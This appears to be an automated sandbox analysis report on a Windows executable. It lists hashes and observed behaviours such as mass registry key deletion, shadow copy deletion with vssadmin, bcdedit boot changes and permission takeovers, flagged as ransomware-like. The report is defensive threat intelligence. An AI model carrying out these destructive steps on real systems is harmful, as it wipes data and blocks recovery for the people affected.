Analysis
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max time kernel
14s -
max time network
75s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
18-04-2021 01:08
Static task
static1
Behavioral task
behavioral1
Sample
1383b80440ad105c0899143a80472ca844cc9c23de6d4e59777eb7f464747813.exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
1383b80440ad105c0899143a80472ca844cc9c23de6d4e59777eb7f464747813.exe
Resource
win10v20210408
Errors
General
-
Target
1383b80440ad105c0899143a80472ca844cc9c23de6d4e59777eb7f464747813.exe
-
Size
86KB
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MD5
226213909fea9a07e66f734dedfb2d1d
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SHA1
218d7e3178a60ad08abebc68bb462773a6f80b38
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SHA256
1383b80440ad105c0899143a80472ca844cc9c23de6d4e59777eb7f464747813
-
SHA512
ecb0c2a7fc5ee54168dedd4f67a626ce3fea7ec977b65bb59fed36b48f1d2c20407228ad96e14969c58976e6a98ffd33399ea6f0b15ed6ba5568ce26abbfdce3
Malware Config
Signatures
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Modifies system executable filetype association 2 TTPs 49 IoCs
Processes:
reg.exereg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\tabsets reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runas reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runasuser\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\ContextMenuHandlers\PintoStartScreen reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\IconHandler reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\lnkfile\shellex\ContextMenuHandlers reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\DefaultIcon reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shellex reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\OpenContainingFolderMenu reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\piffile\shellex\IconHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers\Compatibility reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\ContextMenuHandlers\Compatibility reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\DropHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\piffile\shell\open reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\piffile\shellex\DropHandler reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runasuser reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\ContextMenuHandlers reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\CLSID reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\DropHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shellex\DropHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\piffile\shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\{8895b1c6-b41f-4c1c-a562-0d564250836f} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell\open\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\DefaultIcon reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runas\command reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\lnkfile\shellex reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\DefaultIcon reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell\open reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\piffile\shell\open\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\DropHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\{00021401-0000-0000-C000-000000000046} reg.exe -
Registers COM server for autorun 1 TTPs
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Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies Installed Components in the registry 2 TTPs
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Possible privilege escalation attempt 2 IoCs
Processes:
takeown.exeicacls.exepid process 4176 takeown.exe 4116 icacls.exe -
Modifies file permissions 1 TTPs 2 IoCs
Processes:
icacls.exetakeown.exepid process 4116 icacls.exe 4176 takeown.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
reg.exereg.exedescription ioc process Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run reg.exe -
Modifies boot configuration data using bcdedit 1 IoCs
Processes:
bcdedit.exepid process 4252 bcdedit.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
Processes:
vssadmin.exepid process 4276 vssadmin.exe -
Kills process with taskkill 2 IoCs
Processes:
taskkill.exetaskkill.exepid process 1692 taskkill.exe 3632 taskkill.exe -
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\International\Scripts reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Services reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\International\Scripts\22 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\International\Scripts\30 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\International\Scripts\39 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\VersionManager reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\LowRegistry reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\New Windows reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\ProtocolExecute\powerpoint reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\International\Scripts\26 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\International\Scripts\38 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\BrowserEmulation reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\International\Scripts\13 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\International\Scripts\25 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\GPU reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\International\Scripts\10 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\ProtocolExecute\excel reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Suggested Sites reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Document Windows reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\International\Scripts\12 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\International\Scripts\3 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Download reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\International\Scripts\21 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\International\Scripts\35 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\PageSetup reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\ProtocolExecute\ms-word reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\International\Scripts\19 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\MINIE reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\International\Scripts\18 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Desktop reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Help_Menu_URLs reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\IntelliForms reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\International\Scripts\8 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\International reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\LowRegistry\Audio\PolicyConfig\PropertyStore\cc176cd7_0 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\IETld\LowMic reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\International\Scripts\23 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\International\Scripts\27 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Recovery reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\SearchScopes reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\MenuExt reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\ProtocolExecute\ms-powerpoint reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\ProtocolExecute reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\LinksBar reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\LowRegistry\Audio\PolicyConfig\PropertyStore\cc176cd7_0\{219ED5A0-9CBF-4F3A-B927-37C9E5C5F14F} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\LowRegistry\Audio\PolicyConfig\PropertyStore reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\ProtocolExecute\word reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\URLSearchHooks reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\IETld reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\International\Scripts\31 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\International\Scripts\5 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\SQM reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Toolbar reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Zoom reg.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates reg.exe Key deleted \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\ClickNote\UserCustomization\DoubleClickBelowLock reg.exe Key deleted \REGISTRY\USER\.DEFAULT\Control Panel\Input Method\Hot Keys\00000202 reg.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData reg.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs reg.exe Key deleted \REGISTRY\USER\S-1-5-19\Software\Microsoft\IdentityCRL\Immersive\production\Token reg.exe Key deleted \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Microsoft.Messaging_8wekyb3d8bbwe!App reg.exe Key deleted \REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\.Default\SystemExit reg.exe Key deleted \REGISTRY\USER\S-1-5-20\Software\Microsoft\Wisp\Pen\SysEventParameters reg.exe Key deleted \REGISTRY\USER\S-1-5-20\Software\Microsoft\CTF\SortOrder\AssemblyItem\0x00000409\{34745C63-B2F0-4784-8B67-5E12C8701A31}\00000000 reg.exe Key deleted \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\PrecisionTouchPad reg.exe Key deleted \REGISTRY\USER\S-1-5-19\Control Panel\Appearance\Schemes reg.exe Key deleted \REGISTRY\USER\S-1-5-19\Keyboard Layout\Preload reg.exe Key deleted \REGISTRY\USER\S-1-5-19\Software\Microsoft\Fax\fxsclnt\Confirm reg.exe Key deleted \REGISTRY\USER\S-1-5-19\Software\Microsoft\Pim\Contacts\Settings reg.exe Key deleted \REGISTRY\USER\S-1-5-20\AppEvents\EventLabels\DeviceDisconnect reg.exe Key deleted \REGISTRY\USER\S-1-5-20\Control Panel\International\User Profile reg.exe Key deleted \REGISTRY\USER\S-1-5-19\AppEvents\Schemes\Apps\.Default\Notification.Looping.Call6\.Current reg.exe Key deleted \REGISTRY\USER\S-1-5-19\AppEvents\Schemes\Apps\Explorer\SecurityBand reg.exe Key deleted \REGISTRY\USER\S-1-5-19\Software\Microsoft\SystemCertificates\Disallowed\Certificates reg.exe Key deleted \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Screensavers reg.exe Key deleted \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs reg.exe Key deleted \REGISTRY\USER\S-1-5-20\Control Panel\Accessibility\ToggleKeys reg.exe Key deleted \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders reg.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones reg.exe Key deleted \REGISTRY\USER\S-1-5-19\AppEvents\EventLabels\DeviceFail reg.exe Key deleted \REGISTRY\USER\S-1-5-19\AppEvents\EventLabels\MisrecoSound reg.exe Key deleted \REGISTRY\USER\S-1-5-19\AppEvents\Schemes\Apps\Explorer\ActivatingDocument reg.exe Key deleted \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlersDefaultSelection reg.exe Key deleted \REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\.Default\MessageNudge\.Current reg.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs reg.exe Key deleted \REGISTRY\USER\S-1-5-19\AppEvents\Schemes\Apps\.Default\Notification.Looping.Call7\.Current reg.exe Key deleted \REGISTRY\USER\S-1-5-20\Software\Microsoft\CTF reg.exe Key deleted \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlersDefaultSelection reg.exe Key deleted \REGISTRY\USER\.DEFAULT\Control Panel\Accessibility\SlateLaunch reg.exe Key deleted \REGISTRY\USER\.DEFAULT\Control Panel\Accessibility reg.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified reg.exe Key deleted \REGISTRY\USER\S-1-5-20\Software\Microsoft\Messaging\Service reg.exe Key deleted \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\ClosedCaptioning reg.exe Key deleted \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\DWM reg.exe Key deleted \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows NT\CurrentVersion\TileDataModel\Migration\StartTileGridLayout reg.exe Key deleted \REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\.Default\PrintComplete\.Current reg.exe Key deleted \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\TileDataModel\Migration\StartNonLayoutProperties reg.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\FirstSession\officeclicktorun reg.exe Key deleted \REGISTRY\USER\S-1-5-19\AppEvents\EventLabels\SystemAsterisk reg.exe Key deleted \REGISTRY\USER\S-1-5-19\AppEvents\Schemes\Apps\.Default\Notification.Looping.Alarm4\.Current reg.exe Key deleted \REGISTRY\USER\S-1-5-19\Software\Microsoft\CTF\Assemblies reg.exe Key deleted \REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\sapisvr\HubOnSound\.current reg.exe Key deleted \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\ime\IMTC70 reg.exe Key deleted \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Microsoft.MessagingSkype_8wekyb3d8bbwe!x27e26f40ye031y48a6yb130yd1f20388991ax reg.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Shared reg.exe Key deleted \REGISTRY\USER\S-1-5-19\Software\Microsoft\SystemCertificates\Root\CTLs reg.exe Key deleted \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\ClickNote\UserCustomization\LongPressBelowLock reg.exe Key deleted \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings reg.exe Key deleted \REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\.Default\Notification.IM\.Current reg.exe Key deleted \REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\Explorer\SecurityBand\.default reg.exe Key deleted \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Telephony\HandoffPriorities\MediaModes reg.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Telephony reg.exe Key deleted \REGISTRY\USER\S-1-5-19\AppEvents\EventLabels\DeviceConnect reg.exe Key deleted \REGISTRY\USER\S-1-5-19\AppEvents\Schemes\Apps\.Default\ChangeTheme\.Current reg.exe Key deleted \REGISTRY\USER\S-1-5-19\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs reg.exe Key deleted \REGISTRY\USER\S-1-5-20\AppEvents\EventLabels\SystemExclamation reg.exe Key deleted \REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\.Default\Notification.Looping.Alarm\.Default reg.exe Key deleted \REGISTRY\USER\S-1-5-19\Software\Microsoft\Wisp\Pen\SysEventParameters\FlickCommands reg.exe -
Modifies registry class 64 IoCs
Processes:
reg.exereg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000C172A-0000-0000-C000-000000000046} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\PackageRepository\Extensions\ProgIDs\AppXe862j7twqs4aww05211jaakwxyfjx4da reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\Microsoft.Windows.ContentDeliveryManager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\ActivatableClassId\App.AppX447jn8wbjb1qsw3jxkn reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{64818D10-4F9B-11CF-86EA-00AA00B929E8}\DocObject reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A67-F07E-4CA4-AF6F-BEF486AA4E6F} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Record\{87364574-CAD0-36FF-AFE6-6106A232443B}\15.0.0.0 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.aac\shellex reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.dotx\ShellEx\{BB2E617C-0920-11d1-9A0B-00C04FC2D6C1} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\WOW6432Node\CLSID\{5999E1EE-711E-48D2-9884-851A709F543D}\VersionIndependentProgID reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{7197647A-7D2B-42E3-B6E2-9BAABBDC8B67}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Record\{A35AE6D3-E8D8-3355-9182-9B2A83C3B3E3}\15.0.0.0 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.raf reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.xltm\ShellEx\PropertyHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E9729012-8271-4e1f-BC56-CF85F914915A}\Version reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0002447B-0000-0000-C000-000000000046}\TypeLib reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{7819A000-56F5-432F-BF43-662A11261696}\ProxyStubClsid32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Settings\Cache\Cookies reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.vsdm\ShellEx reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.ods\ShellEx reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{CAFEEFAC-0017-0000-0072-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\Instance\{7ED96837-96F0-4812-B211-F13C24117ED3} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\TypeLib reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Record\{D06FC255-7FA0-3C72-A05A-2E64B8997375}\15.0.0.0 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\CLSID\{CAFEEFAC-0015-0000-0014-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.mid\PersistentHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493497-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\PowerPoint.Template.8\shell\Open reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Record\{2E7AC8A7-CF9C-3C1D-ACC7-2605667BFCBF} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0019-ABCDEFFEDCBC}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000244D4-0000-0000-C000-000000000046}\ProxyStubClsid32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\VLC.3g2\shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.WMD reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0002442A-0000-0000-C000-000000000046} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0002E101-0000-0000-C000-000000000046} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{CAFEEFAC-0016-0000-0035-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.p7r reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0002099B-0000-0000-C000-000000000046} reg.exe Key deleted 